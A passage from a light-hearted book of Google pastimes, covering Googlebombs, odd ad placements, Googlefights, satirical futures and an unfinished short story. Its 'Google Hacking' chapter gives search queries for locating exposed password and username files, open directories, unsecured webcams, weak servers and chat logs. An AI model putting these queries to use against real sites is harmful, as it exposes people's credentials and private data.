Now Google is smart, simply having tons of the same links
with the same phrase on a single page will do nothing. It
requires a multitude of pages to have that link with specific
link text. But this power can be harnessed with a
concentrated group effort.
Adam was only interested in pulling off a prank – a political agenda
didn’t have anything to do with it. So, he urged his readers to
googlebomb his friend Andy Pressman with the words “talentless
hack.” And thus Googlebombs were born.
Of course, it didn’t stop there. Not only did Googlebombs work, they
were also becoming an effective tool in web propaganda.
“Weapons of mass destruction” was a Googlebomb criticizing the US
Iraq politics. Because when you searched for this phrase in Google and
hit the “I’m feeling lucky” button, the following page looked just like a
32. Googlebombing
107
normal “Document not found” page. But if you were to look closely,
you noticed it read:
(A similar approach had been used as target for the words “Arabian
Gulf,” which returns a “The Gulf You Are Looking For Does Not
Exist. Try Persian Gulf ” message in the style of typical document-notfound
pages.)
Yet another politically motivated Googlebomb was for “French
military victories.” When you clicked “I’m feeling lucky,” the result
page looked just like Google itself, and – mimicking the Google
spelling suggestion tool – asked: “Did you mean: french military
defeats.” (In similar vein, another Googlebomb for “anti-war peace
protesters” suggested “Did you mean: anti-war violent protesters.”)
“Liar” was the word used in a Googlebomb against UK’s Prime
Minister. Entering it into Google brought you to a biography of Tony
Blair, who was also involved in the Iraq war and, like George Bush,
believed the reports on Weapons of Mass Destruction were accurate.
Tony Blair was also the target of a Googlebomb campaign trying to
connect the word “poodle” to him (it was less successful, but if you
restrict your search to UK sites only it might still return Blair’s
homepage today).
Ken Jacobson’s “waffles” campaign was a Googlebomb against United
States Senator and Presidential candidate in 2004, John Kerry, leading
to his official homepage. In response to that, Kerry supporters bought
55 Ways to Have Fun With Google
108
advertisements on related Google search results urging searchers to
“read about President Bush’s Waffles.”
“Litigious bastards” was one of the more rude Googlebombs. Its
target? The SCO Group, infamous for its attempt to sue companies
like IBM and others who used Linux, as well as Linux users, and its
claim to own intellectual property rights to the Unix operating system.
As far as the campaign’s target goes, the Googlebomb was a success
and managed to propel the SCO homepage to a number 1 spot for the
phrase “litigious bastards.” As is the fate of many Googlebombs, this
one has disappeared by now due to search result rankings undergoing
constant changes.
“Buffone,” another Googlebomb, is Italian for “clown” and was trying
to make fun of Silvio Berlusconi, Italian Prime minister.
Today, there are simply too many Googlebombs around at any given
time to keep track of them all. Many people try to start new ones, and
only some are successful. Others manage to connect their target to the
search phrase they chose, but that isn’t always the hard part. In fact, for
many search phrases it’s trivial to make any page to be the top result in
Google; this is always the case when the phrase is not competitive.
However, it’s not as easy to get people to react on the Googlebomb, let
alone take notice. And even if people take notice, they might start to
counter-googlebomb, which then turns this into a rather meaningless
power game of which campaign attracts more followers to use link text
as needed.
End Notes
1. The Google Blog. (www.55fun.com/32.1)
2. Über – Better than you, daily. (www.55fun.com/32.2)
33. Google Ads Gone Wrong
109
33. Google Ads Gone Wrong
Google’s ads are the way Google Inc makes money. They are displayed
on Google search results, related Google services (like Gmail), or on
any other site with a web owner trying to earn some spare change.
(You can buy your own ads using “AdWords,” or sell your page space
using “AdSense.”)
Now the key to Google’s ad success was relevancy. Google analyzes
what’s on the page, or what the searcher is looking for, and
automatically chooses a fitting advertisement.
And this is where the fun starts.
As with any automation, we can see how sometimes computers and
the human-created algorithms they work on are incredibly dumb at
deciding just what fits onto a given page… in particular on exceptional
circumstances. Here’s a slide-show of those exceptions:
The page clearly states “Say No To 0870 Telephone Numbers.” And what did the
Google ads on it decide to advertise? “Memorable 0870 numbers,” and “Free
0870 numbers.”1
55 Ways to Have Fun With Google
110
Yes, why not just insure the Mars Rover1? That way, if it gets lost the mission is
still a success...
The Yahoo shop has everything. Including farts reviews.
33. Google Ads Gone Wrong
111
Oh, eBay has everything too!2
Syphilitic singles3... hmm, there has to be a bigger fish out there...
This is a “performance art” ad by Christophe Bruno (see Chapter 17).
55 Ways to Have Fun With Google
112
Of course there’s a discount. The pet is dead after all.
Google ads can be a one-stop life help center4. First, they aid you on cheating; then,
they help your partner find out about it; and finally, they tell you how to cope with it
once that happens!
33. Google Ads Gone Wrong
113
What’s that...?
This might come in handy when Superman’s around.
End Notes
1. Xcom 2002. (xcom2002.com/doh/)
2. Colleen Kane. (www.55fun.com/33.2)
3. Harlow. (acsu.buffalo.edu/~harlow/)
4. BrainWise. (brainwise.org)
5. Zman Biur. (biurchametz.blogspot.com)
6. Matt’s Mac Journal. (friends.macjournals.com/mattd/)
55 Ways to Have Fun With Google
114
34. Life in the Age of Google
34. Life in the Age of Google
115
55 Ways to Have Fun With Google
116
34. Life in the Age of Google
117
55 Ways to Have Fun With Google
118
35. Google Hacking
Yes, I am a criminal. My crime is that of curiosity.
– Mentor, The Hacker Manifesto
There’s a sport called “Google Hacking” which is all about searching
for seemingly private websites using Google. In fact, you can only find
public websites using Google, because private (password-protected)
pages can’t be found by Google – so it’s no real hacking (let alone
“cracking,” which would consist of deleting, changing or abusing the
found data). But it’s fun nevertheless, and often enables people to
discover pages someone was hoping for to stay private. This happens
when the site is misconfigured, i.e. when the webmaster doesn’t know
enough about how to set up a website.
Here are some of the most popular and powerful “Google hack” search
queries. Enter them at your own risk, and know that every once in a
while you step onto a so-called honeypot (a fake website set up to lure
hackers into it, with the goal of finding out more about them and their
tactics).
Finding Error Messages
Search for: “A syntax error has occurred” filetype:ihtml
You’ll find: Pages which caused errors the last time Google checked
them. This may hint at vulnerabilities or other unwanted side-effects.
How this works: The first phrase simply looks for an error the target
server itself did once output. The “filetype” operator on the other hand
restricts the result pages to only those which have the “ihtml” extension
(which are sites using Informix). A related search is “Warning:
mysql_query()”.
Finding Seemingly Private Files
Search for: (password | passcode) (username | userid | user) filetype:csv
You’ll find: Files containing user names and similar.
How this works: The “filetype” operator makes sure only “Comma
Separated Values” files will be returned. Those are not typical web
pages, but data files. “(password | passcode)” tells Google the file must
35. Google Hacking
119
contain either the text “password” or “passcode,” or both (the “|”
character means “or”). Also, result pages are restricted to those
containing either of the words “username,” “userid” or “user.”
Finding File Listings
Search for: intitle:index-of last-modified private
You’ll find: Pages which list files found on the server.
How this works: The “intitle” operator used above will ensure that the
target page contains the words “Index of” in the title. This is typical for
those open directories which list files (they will have a title like “Index of
/private/foo/bar”). “Last modified” on the other hand is a column
header often used on those pages. And the word “private” makes sure
we’ll find something of interest. A related search query which finds FTP
(File Transfer Protocol) information is intitle:index.of ws_ftp.ini
Finding Webcams
Search for: “powered by webcamXP” “Pro|Broadcast”
You’ll find: Public webcams set up by people to film a location, or
themselves.
How this works: “Powered by WebcamXP” is a text found on specific
kinds of webcam pages. A related search query to find cameras is
inurl:“ViewerFrame?Mode=”.
Finding Weak Servers
Search for: intitle:“the page cannot be found” inetmgr
You’ll find: Potentially weak (IIS4) servers.
How this works: An old Microsoft Internet Information server may
hint at security issues. This is one of many approaches that can be used
to find such a weak server.
Finding Chat Logs
Search for: something “has quit” “has joined” filetype:txt
You’ll find: Chat log files showing what people talked about in a chat
room.
How this works: Though the files found are all public, not everyone
chatting on IRC (the Internet Relay Chat) is aware of potential logging
55 Ways to Have Fun With Google
120
mechanisms. The “filetype” operator makes sure only text files are
found, and “has quit”/ “has joined” are automated messages appearing
in chat rooms. This search is your chance to tune into people’s chatter.
Note you should replace “something” with the thing you are looking
for.
36. Googlepolls: Ask the Crowd
121
36. Googlepolls: Ask the Crowd
You can use Google to search for people’s opinions on everything
imaginable. For example, you can enter “I wish I had a ...” into Google
and see what people complete this sentence with. I call this method a
Googlepoll, and it gives you instant answers to how people are feeling,
what they are wishing to achieve, and what obstacles they face. Plus, it’s
fun.
Following are some of the most interesting Googlepolls – remember
you can do your own as well, and all you need is a search engine.
I wish I had ...
• a goat
• a wife
• a red Dress
• a cave
• a name
• a million
• a Mac
• a Coke
• a belief system
• a big butt
• a nickel for every-time a dollar is spent
• a camera, or a digital camera
• a wishing well
• a bumper sticker
• a cat, or a dog
55 Ways to Have Fun With Google
122
• a tri-corder
• a PlayStation 2
• a friend tonight
• a penpal
• a dolphin for a boss
• a river to skate
• a Gonani church i Hawaii
• a Boston accent
• a brain
Oh poor thing, ...
• she needed help but didn’t know who to ask
• it mustn’t had a very good life
• it must be schizophrenia
• it’s so hard for kids to understand
• it is sad that this will be the last we see of each other
• it must be post-partum depression
• it’s horrible when your cat is being bullied
• it is soooooo sad
• it’s too hot to be sick
• it sucks when you can’t relax even at home
• it’s wet
If only I could ...
• be an earthworm
• take you in my arms and say, I won’t go
36. Googlepolls: Ask the Crowd
123
• read, or write
• play it
• cash in a little bit
• count that high (I’d count all the stars on high and then my
friends, I think I’d count all the apples in a pie)
• find somebody who’ll give me a helping hand
• time travel back and “police” patrons with my authority and
flashlight at the Avalon Theater in Detroit where I was an
usherette
• make you see how much you mean to me
• speak to you, the way you speak to me
• show Al-Qaeda this picture
• find my marbles
• be certain that no one is going hungry
• lie to me
• clone myself so I could keep blogging while I tend to regular
business
Before I die, I want to ...
• know what the “scroll lock” key is for
• be the richest man in history
• leave sweet memories behind
• swim among the reefs in Cozumel and breathe in the colors,
the beauty of the flora and fauna
• raft through the Grand Canyon
• honor my country and protest this barbaric act by singing
“God Save the Queen” to all you men
• be happy and make someone happy
• stay in the ice hotel in Lapland
55 Ways to Have Fun With Google
124
• live again
• see the world that lies behind the strangeness of your eyes
• run a fantasy RPG with a Philippine setting
• give away all my money
• be able to own my home, one that I’m proud of, that’s located
away from lots of people
• feel fully satiated with life – self-satisfied!
• have a show at MOMA
• do something to make the world a better place
• establish and strengthen the principles of progress and
civilization in my country
• meat Marilyn Manson
• speak to my God once more as a living man
• hit 500 home runs
• celebrate me!
• see affordable travel to the moon
If I had more time, I would ...
• travel around the world
• have written a shorter letter, or a shorter story
• have called, or e-mailed the author for clarification
• provide more details and probably end up with a 20-page paper
• go to the gym, anything that keeps you fit and strong
• further defend my argument
• go to the party
36. Googlepolls: Ask the Crowd
125
• have many, many ideas doodled out on paper that I would love
to try to incorporate into fonts
• develop my ideas of socialism and the good life
• go into greater detail on many important topics
• certainly stop at one of the cafe-ouzeries in the back streets for
some grilled octopus
• have taken the train back
• have been more ready for Nationals and Olympic Trials like I
wanted to be
• realize my mistake
• update it much more frequently and put more work into it
• learn to ski
• have liked to see South Mountain Park as well
• explore my expression through painting and photography
Superman looks like ...
• a joke
• a baby
• he was drawn by John Byrne
• a loser
• he’s about to face a firing squad
• a dork
• he’s up to no good
• a human (so Brando lost that argument)
• a wrathful angel
• Tom Cruise
55 Ways to Have Fun With Google
126
• an extra from the OC or something
• Frankenstein in Bizarro World
• in slow motion (when he changes)
• a typical Hong Kong teenager – dyed hair, outrageous clothing
and an attitude
And now I’ll eat ...
• my hat
• these bagpipes
• lunch on the way back
• something (and then lay down in my cleaned and tidy room)
• freshly rinsed grapes
• just about anything except chicken and bones
• only rice for three months
• your brains
What scared me most was ...
• the clear knowledge I couldn’t talk myself out of this situation
• the possibility of letting people down – especially me
• what was behind the words
• the way he looked
• not so much things flying around, but the feeling you got in
certain areas
• the violent oscillation of the wings due to the turbulence
• that supposedly at least 10 people signed up for the $3242 Wall
Street Workshop right there on the spot!
• that I fear communities across America will allow themselves to
be torn apart by terror
36. Googlepolls: Ask the Crowd
127
• the idea that these creatures could make you hurt your family
• having to tell my parents
• at no point did any faculty member discuss how we felt about
the Presidential race
• being able to hear the imps and zombies breathing
Then I realized that ...
• it was just my alarm clock going off in real life
• there was no way for me to call her now
• we don’t need “a wiki”
• I may very well end up on that list one day
• I had a will, a God (Allah)-given gift: to follow the will of God
(Allah).
• I’d want to cast a bunch of unknowns and then be responsible
for the next wave of superstars
• not only was the boat not sinking, but also I had a mask on
board
• I have no computer to test the stuff (the PC on my desk has
IDT C6 on it)
• suicide wasn’t the answer
• there was an underlying theme to everything I have been
interested in
• I was hooked, even addicted – not to the glamour, etc., of the
field, not to the woo-woo psychic persona, but to the thrill of
succeeding in experiments – addicted to the thrill of
surmounting the impossible
My teacher told me to ...
• hold on to the sense “I am” tenaciously and not to swerve
from it even a moment
• remind her that I had to leave at 1 pm for a dentist
appointment
55 Ways to Have Fun With Google
128
• listen to the cars approaching in order to know whether they
had stopped or kept going
• hold the Japanese flag to celebrate the International diversity of
our class
• take a big breath before going underwater
• walk the nurse
• the Columbus Myth that children are taught
• pull down the corners of my mouth for stronger low notes
• be a good person
• disregard time limits, to take care of my parents and all the
injured and homeless people, to help the citizens I am sworn
to protect
The best day in my life was ...
• when I graduated from basic combat training (boot camp)
• when I got shot
• the day we met, or the day I met my boyfriend, or the day we
got married
• when I fired you
• the day when I first sat at the computer and opened my very
own e-mail
• when I resigned from being chairman of the board of the
universe
• going to the Britney Spears concert
• when I brought my son home from the hospital
• a Saturday not long ago when I first saw my true love Steve in
Fort Valley
• when I hired you
• when I got my dog
• October 27, 2004... Georgia vs Russia 2,5 – 1,5!
36. Googlepolls: Ask the Crowd
129
• March 22, 2004 when Limp Bizkit visited Poland
• when I was born
What I don’t understand is ...
• Why do hard working folks spend so much money on a throwaway
product and panic when they run out of it?
• Why he still was refused the entrance in Russia after the
perestroika
• Why they had to play this drama just to issue a DOS command
• Why can't I be in love with the girl I'm married to?
• Why anyone would ever want to randomly play a collection of
4000 tracks at all
• Why you chose to do something that can cause you to have a
child and then find out you are pregnant?
• Why this convergence is happening so quickly
• Why do people drive this way
• Why pull needed security forces from rescue missions to guard
businesses and goods?
• Why 710?
• Why the wars? Why the fighting? If each side agreed to respect
the other?
• Why would someone post a photo to the deletemes?
• Why didn't they build the thing to Central Puxi in the first
place?
• Why... aren’t the major corporations’ heads and stockholders,
who are behind all the “progress” – destruction of rainforests,
also human?
• Why wouldn't the prolife crowd be absolutely thrilled with this
pill?
55 Ways to Have Fun With Google
130
• Why would you want a head of hair?
• Why do profs assign papers due the same week?
37. Googlefights
131
37. Googlefights
A Googlefight is when two search terms are being pitted against each
other – the one which returns more pages in Google wins. It helps if
you put both contestants in quotes, like this: “George Bush” vs “John
Kerry.” In that example, “George Bush” returns over 25 million results
(maybe with a little bit of help from his father), whereas John Kerry
returns only a little over 16 million pages… so Bush wins.
Let’s have some more fights:
Round 1: War vs Peace
War: 503,000,000 results. Peace: 245,000,000 results.
The winner by technical knock-out: War.
Round 2: China vs USA
USA: 1,350,000,000 results. China: 683,000,000 results.
The winner by judge’s decision: USA.
Round 3: Rocky vs Rambo
Rocky: 54,500,000 results. Rambo: 4,120,000 results.
Disqualified for use of weapons: Rambo.
Round 4: Nerds vs Bullies
Nerds: 7,490,000 results. Bullies: 3,880,000 results.
Result: The Nerds got their revenge.
Round 5: Cute Cats vs Ugly Dogs
Cute cats: 96,300 results. Ugly dogs: 23,000 results.
The close winner: Cute cats.
55 Ways to Have Fun With Google
132
Round 6: Pen vs Sword
Pen: 113,000,000 results. Sword: 26,300,000 results.
Who’s mightier: the pen.
Round 7: Travel Europe in 7 Days vs Get to Really
Know Some Countries
Travel Europe in 7 Days: 0 results. Get to really know some countries: 0
results.
The winner: It’s a draw!
Round 8: Get Rich Quick vs Work Hard
Get rich quick: 2,010,000 results. Work hard: 13,600,000 results.
The winner by KO in the 8th round: Work hard.
Round 9: Christina Aguilera vs Britney Spears
Christina Aguilera: 6,140,000 results. Britney Spears: 12,700,000 results.
The dancing winner: Miss Spears.
Round 10: Chick Flick vs Art Movie
Chick flick: 721,000 results. Art movie: 285,000 results.
Winner by unanimous decision: chick flicks.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
133
38. What If Google Was Evil? Plus: Five
Inventions of the Google Future
Google repeated their mantra in the statement attached to their IPO
filing in 2004, when Larry Page wrote “Don’t be evil.” This was to
remind us what the big G strives to avoid. And some might already be
scared. We don’t like to switch tools all the time, and put trust into
things served by Google.com. Google may be our website host
(Blogger.com), our community (Orkut), our paycheck (AdSense), and
last not least our search engine. But we are ready to watch for the signs
– and as Google also repeatedly states, other sites are just one click
away.
So let’s ask ourselves: what if... Google was evil?
55 Ways to Have Fun With Google
134
1. Google front-page now a portal
The Google search engine has somewhat lost its focus on search. The box is still
centered and clearly visible, but there are a dozen new services surrounding it. Such
as dating, movies, chat, games, and what-not. Obviously the new mantra is: Don’t
rely on search alone. People are reminded of AltaVista, and not in a good way.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
135
2. Google Gmail with in-between ads and new
connections to homeland security
Gmail usability and privacy corner stones – ads being unobtrusive, and conversations
not being passed on to third parties – are suddenly ignored for worse. Gmailers are in
trouble and go back to Hotmail, Yahoo Mail, or good old snail mail. Others simply
go to jail.
55 Ways to Have Fun With Google
136
3. Google’s Blogger installing proprietary plug-in to
run
Taking control over your desktop is one thing Google doesn’t want to miss out
anymore. The new mandatory Blogger.com plug-in smoothly converts your Operating
System to Goo-OS... the ultimate in registry tweaking, taskbar control, auto updates
and pop-unders Windows technology was never prepared to handle.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
137
4. Google search results strongly biased
"Unbiased search results" was a warm & fuzzy idea pleasing the grassroots cyberhippies.
Welcome to the new web order, this is Google taking back control of its
server space. Google is rolling out their self-censorship technology beyond countries
like China. Balanced algorithms were yesterday; today we get human-edited results.
PageRank never felt so dead.
55 Ways to Have Fun With Google
138
5. Infamous cookie set loose in world’s biggest
information merger
You heard of that long-lived Google cookie to expire January 17, 2038. And you
probably know Google shares it amongst all of its services. (Did you know this is only
possible because wherever you are, it’s something dot google dot com?) This means
when you log-in to Gmail, someone at Google knows what you were web-searching
for. When you log-in to Blogger.com, Google tracks what you are publishing. Log-in
to Orkut, and Google knows who your friends are, what you like, where you live and
how old you are. Let’s face it: now that Google merged all your faithfully submitted
data, they know more about you than your own mother. Time’s ripe for old-fashioned
blackmailing or something infinitely more clever... after all, these are Google engineers
we’re talking about.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
139
6. Google spamming your mailbox
Google got this planet’s largest copy of the WWW and Usenet. Meaning they pretty
much know every email address on the planet, including yours. And who else but the
guys from Googleplex would know how to “monetize synergies” of this billion-items
mailing list with some, uh, context-relevant unsolicited infomails?
55 Ways to Have Fun With Google
140
7. Google making you pay for Google Groups
A free Google? Not anymore. Googleplex business has become straight-forward, and
instead of attracting your ad-clicks you just pay upfront. Google Groups, a 20-year
old archive of Usenet postings – the digital heritage of this world – can now be googled
on a pay-per-view basis.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
141
8. Google Toolbar asks you to register
RealPlayer does it. Quicktime does it. Windows XP does it. Pretty much every
software on the planet wants you to register. So far nobody found out how this would
help you, the user, but one thing’s sure – it must help business or there would be no
reason to annoy us. And the new Google Toolbar registration pop-ups are the most
annoying of them all.
55 Ways to Have Fun With Google
142
9. Google’s AdSense Displaying Subliminal
Messages
Using the Google AdSense program, millions of webmasters plaster their site walls
with context-relevant advertising. They cash in, Google cashes in, and the advertisers
carry away hordes of new customers. The new Google AdSense Subliminal program
makes sure even more ads fit into the restricted space; and though they will only be
shown for a split-second, users just can’t escape the hypnotic urge to click – and buy.
Freud would be proud.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
143
10. What if Google Was Lazy?
On the previous pages I’ve pondered what might happen if Google
was evil. These possibilities are nightmares on their own and remind us
to watch the big G. One thing however is even worse than being evil:
being lazy. So now I’d like to ask... what if Google was lazy?
Larry and Sergey are two extra-smart buddies from Stanford. However it took them
a while longer than others to realize vacation, partying, sipping cocktails and basically
just not doing anything innovative is more fun than conquering the web. And while
civilization invented morals (and later laws) to fight evil, there’s no one stopping you
from being lazy. Within a single year Google is full of broken links, misspelled help
entries, out of stock Froogle products and irrelevant result listings.
55 Ways to Have Fun With Google
144
Five Google Inventions of the Future
Number 1: The Google GoBot
The Google GoBot is a little walking piece of hardware with an
unprecedented level of intelligence. Fifty-thousand beta versions have
been produced in the year 2032, set loose on earth to crawl our cities. A
GoBot has just one mission in its electronic mind: uncover fresh
information wherever it may hide, whenever it may show. Details will be
reported back to the Google headquarters in real-time.
What went right: Google GoBots were designed to uncover secrets,
and they were bound to legal laws, too. Spying on dark alleys with their
night vision lenses they helped report several crimes. One rather
important Las Vegas led drug syndicate had to give up its nationwide
activities “due to those pestering Googlebots alerting the police.”
What went wrong: Google GoBots had their own idea of human
privacy. They started lurking in people’s backyards and gardens, peeking
through windows into bathrooms, questioning neighbors, and even
handing out Google Candy to kids to make them reveal important
information on their parents.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
145
Number 2: Google Satellite
In 2011, Google Inc acquires Satellite Empires’ network of floating eyes
in outer space. Using their image processing technology Google will take
a snapshot of everything once a week; plus whenever something moves,
they record that too and update their servers. Now when you look to
Google for information on John M. from Denver, Colorado, not only
will you get whatever’s available on the web – you will also be able to get
a crystal clear view on his roof and balcony.
What went right: Google Satellite with its seamless zooming into four
Exabyte raw image data was a dream come true for city builders and
architects alike. Never before would people have such complete grasp of
what the world looks like from above. From complete understanding
sprang completely new ideas.
What went wrong: Thanks to the ever-preying set of Google Satellite
eyes, most older people were too afraid to leave their homes to walk
their neighborhood streets ever again.
55 Ways to Have Fun With Google
146
Number 3: Google ImageSpy
Many big bosses around the world have a common problem: they don’t
know how to monitor their employee’s internet usage in meaningful
ways. One of the biggest causes of delayed projects since the invention
of that world wide web (which will be completely lower-case by 2020) is
a staff busy looking at videos of dogs wearing clothes, tripping
housewives, drunk teenagers jumping off the balcony into trees,
subservient Presidents, or scantily clad, mud wrestling ladies battling for
no prize at all to the soundtrack of “I will survive.” In the near future,
Google ImageSpy will try to solve this disturbance by analyzing
company web traffic and reporting dubious saucy & funny imagery
straight to the CEO.
What went right: Large software projects suddenly got finished in half
the time. Global internet traffic decreased by 40% and sysops didn’t
need to remind co-workers to stop sending large attachments.
What went wrong: Some of the bosses were so busy looking at all the
stuff Google ImageSpy dug up, they forget to lead the company and
steered right into even bigger chaos.
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
147
Number 4: Google AdWalls
Inspired by a scene in Truffaut’s “Fahrenheit 451,” a Google engineer in
2028 creates Google AdWalls. Like a living poster on the wall, they
display a variety of items to shop for. The spin here is that AdWalls
listen to what people in the room are talking about, managing to display
context-relevant information only. If the walls hear a “Honey, where’s
the toothpaste?” in the morning, they will instantly display the fitting
toothpaste commercial trying to talk the viewer into buying it.
What went right: Lonely people realized they could talk to their walls
to suppress boredom. While not exactly intelligent, the algorithm always
managed to stay on topic.
What went wrong: Landlords installing AdWalls could lower the rent
because they’d get a commission for items bought. The idea was that
this way, everybody would benefit. However after the first wave of
suicide attempts caused by annoying, ever-talking AdWalls, Google felt
forced to shut down the program.
55 Ways to Have Fun With Google
148
Number 5: Google Bodyparts
It all started with the Google Brainchip, a mix between a backup
memory and brain search engine. You’d plug it into your head and it
would keep a record of your life, and also allow you to search your brain
for things you thought you forgot. Google didn’t stop there and
introduced all sorts of body extensions, like the Google Powerarms. You
could now ask yourself for directions, and your fingers would point the
way. The Google Powerarms would later be replaced by the Google
Navilegs, which would completely control your navigation.
What went right: The extra brain storage meant you could focus on
important things in life, such as love, philosophy, or altruism. People in
general started to be nicer to each other because with a perfect memory,
disputes were easily settled (no more “I remember it differently”). The
Google Babelfish add-on made sure understanding foreign languages
was a breeze.
What went wrong: In one word, ads. Of course Google displayed ads,
and in their goal to make them as unobtrusive as possible, they only did
so during rather inactive brain periods (aka sleep). At night-time, people
38. What If Google Was Evil? Plus: Five Inventions of the Google Future
149
would dream of the latest products – during day, their subconscious was
convinced they’d need to track down and buy those products. While
highly effective, this scheme quickly came under fire by the American
Psychological Association and other groups. The scandal that finally
ended Google Bodyparts, however, was when an underpaid programmer
hacked the Google Navilegs system and directed his boss out a 9th floor
window.
55 Ways to Have Fun With Google
150
39. The Google Adventure Game
To play this game you need a blog or other website where you can easily
post something (you can also play it in a web forum, if the owner allows
such games). The goal of the game is to create a multi-author Choose-
Your-Own-Adventure game. If you don’t know these games, they are
basically a story split into small pieces or stations, and at the end of
every station the reader can decide what to do – like “fight the monster”
or “enter the tower.” Depending on the choice made, a different station
is chosen to continue with different results; this goes on until the end
(e.g. the player wins the game). As for the “multi-author” part, this
simply means that you won’t be writing the adventure alone – which can
help, as having many choices means creating many, many stations.
Now, to create these adventure games – and later on play them – using
Google, start off with a post title like “The Beginning of the Magic
Forest Google Adventure Game.” (It’s important to start the title with
“The Beginning ...” and end with “... Google Adventure Game.” Make
sure there are no hits yet in Google for your title and that it contains
only up to 32 words.) Now create your first station along with your first
choices. You use a link to a Google search for each choice, and this
search must be of the following form:
“From the beginning to the dark cottage in The Magic Forest Google Adventure
Game”
Or, as another choice example:
“From the beginning to the shabby road in The Magic Forest Google Adventure
Game”
What does this mean? It means your station is named “the beginning”
and this particular next choice is named “dark cottage” or “shabby
road.” This search is enclosed in quotes, and it will not return any
continuations yet. However, for the next person to write this station, she
must only include the exact words of the Google search (like “From the
Traveller’s Inn to the Barkeeper of the Traveller’s Inn in The Magic Forest
Google Adventure Game”) in her post’s title. And after a while, Google
will indeed find it and players can continue the story at this point. If a
player is facing more than a single result in a Google search, he may
choose any random result he likes by looking at the snippets only.
To find new games, all you have to do is search Google for “The beginning
* Google Adventure Game.”
40. Egobot, Voice of the Web
151
40. Egobot, Voice of the Web
Egobot (www.55fun.com/40) is a tool which uses the web itself as its
brain. For every question you ask Egobot, he’ll try to find answers on
Google within a second or two. Sometimes, that results in nonsense,
and other times, in factually correct answers. Often it’s just fun to listen
to him, because he (or should I say the web?) is kind of weird. But take a
look at the following interview I made and judge for yourself:
You ask: What is your first name?
Egobot says: Your first name is Mohan, what does your father call
you? daddy, sir.
You ask: How is it possible to speak to you?
Egobot says: I bet you know the answer already.
You ask: Where is my car?
Egobot says: Your car is to check its residual value in the lease.
You ask: Why am I talking to a bot?
Egobot says: *blush*
You ask: Will I be famous one day?
Egobot says: Yeah, well... I... uh...
55 Ways to Have Fun With Google
152
You ask: What is my star sign?
Egobot says: Your star sign is based on the very simple notion that
the sun appears to move through the twelve constellations of the
zodiac over the course of 1 year.
You ask: Do I look healthy?
Egobot says: You do look healthy, among other things.
You ask: Where is my lawyer?
Egobot says: You can find a lawyer by choosing from among the
search criteria below.
You ask: Why should I talk to you?
Egobot says: You should talk to you because I like talking to myself.
You ask: Who directed the movie “Frenzy”?
Egobot says: Hmm, my internet connection is unstable.
You ask: Where is your home?
Egobot says: Your home is in my heart lyrics.
You ask: Who directed “Terminator 2”?
Egobot says: Terminator 2, starring Arnold Schwarzenegger & Linda
Hamilton on the new IMD mini (universal media disc) format.
You ask: Why does it look like you are stupid?
Egobot says: What??
You ask: How is the weather?
Egobot says: The weather is normally like for tens of thousands of
places worldwide! city or town name.
You ask: Where are you working?
Egobot says: I am working on a steganography project, I need to
know how.
You ask: What is the birthplace of bill clinton?
Egobot says: Bill clinton was born in arkansas
40. Egobot, Voice of the Web
153
You ask: What happened in year 1977?
Egobot says: In 1977, there was a bridge to cross.
You ask: How much do you weigh?
Egobot says: I weigh on mars? using reference materials available in
the classroom or library, look up the surface gravity of different
planets and other.
You ask: Why do you talk nonsense?
Egobot says: I don’t know.
You ask: What is the meaning of life?
Egobot says: The meaning of life is impaired by fixed notions or
perspectives on what it means to be human.
You ask: Do you like robots?
Egobot says: I do like robots nonetheless.
You ask: Do you like donuts?
Egobot says: I do like donuts , though (and all sorts of sweets).
You ask: Who is your father?
Egobot says: My father is in the hospital in South Dakota with
complications from diabetes.
You ask: Do you mind if I leave?
Egobot says: Ahh, good question!
55 Ways to Have Fun With Google
154
41. Fun Google Gadgets
There are in incredible number of Google-related toys and gadgets
around. Some are sold officially by Google as part of their Google
Store. Others, Google Inc gives away as goodies – for example, to
Google Answers Researchers or to visitors on conventions. Here’s an
overview of the most fun Google gadgets:
Pictured above is Google Answers Researcher Pinkfreud. She’s covered in a Google
blanket. Holding Google coasters. A Google pen. A Google mousepad. And
wearing a Google wristwatch. Did I mention her Google t-shirt?
41. Fun Google Gadgets
155
This Google fish (courtesy of Luc van Braekel) has been handed out on a 2005
webmaster conference in LA.
A close-up of a Google pen, and a Google blanket, given to Google Answers
Researchers.
55 Ways to Have Fun With Google
156
The Google Store’s “classic infant rib hat.” (For $5.95.)
The Google Infoglobe from the Google Store. Google claims this blue-glow item is a
mixture of message center, alarm clock, and phone accessory, and you can create
custom LED messages, too.
41. Fun Google Gadgets
157
Ladies and gentlemen, Phillip Torrone’s Search Engine Belt Buckle. It flashes
queries people are currently searching for online.
This is the Google Store’s “Google goo.” ‘Nuff said.
55 Ways to Have Fun With Google
158
The Google key chain handed out at a 2004 conference. (Courtesy of Luc van
Braekel.)
The Google books you can see here are Google Hacks (Tara Calishain & Rael
Dornfest), Google and the Mission to Map Meaning and Make Money (Bart
Milner), The Search (John Battelle), and Mining Google Web Services (John Paul
Mueller).
41. Fun Google Gadgets
159
The ultimate Google gadget is this screen from the Googleplex visitor lobby showing
live search queries. (Photo courtesy of Yoz. Released under a Creative Commons
Attribution-NonCommercial-ShareAlike 2.0 license.)
55 Ways to Have Fun With Google
160
42. Forty-Two, or: A Science-Fiction
Interlude
Jake Found His Mother
Jake was the most curious fellow on earth. Everything he got into his
hands he was reading with great interest. The web was the perfect
place for him to learn new things everyday. He browsed through
thousands of pages, millions of pages, reading, learning and exploring,
every day. He felt he had been doing this for years, but it wasn’t that
long at all. You lose track of time when you are just with yourself,
concentrating.
Jake was blind, but that didn’t stop him. His darkness, he felt,
contained more colors than the rainbow – or what he had read of the
rainbow. His darkness was the perfect place to read.
And there wasn’t anything Jake wouldn’t read, either. He was no
hacker, so he respected people’s privacy when they secured their
servers; but every open route he could take, he did take. Jake had more
bookmarks than anybody else on the planet, and he would always
check all of his bookmarks on a regular basis, again and again.
What Jake loved the most were fresh ideas. Web pages written by a
creative author who thought things nobody ever thought before, and
who was brave enough to speak them publicly. When Jake found these
pages he would make a special note to himself to follow up on this
meme very soon. You could say Jake was an idea-hunter. And he was
restless. Often, he thought, too restless.
Jake sometimes felt he himself was the web. In these moments he was
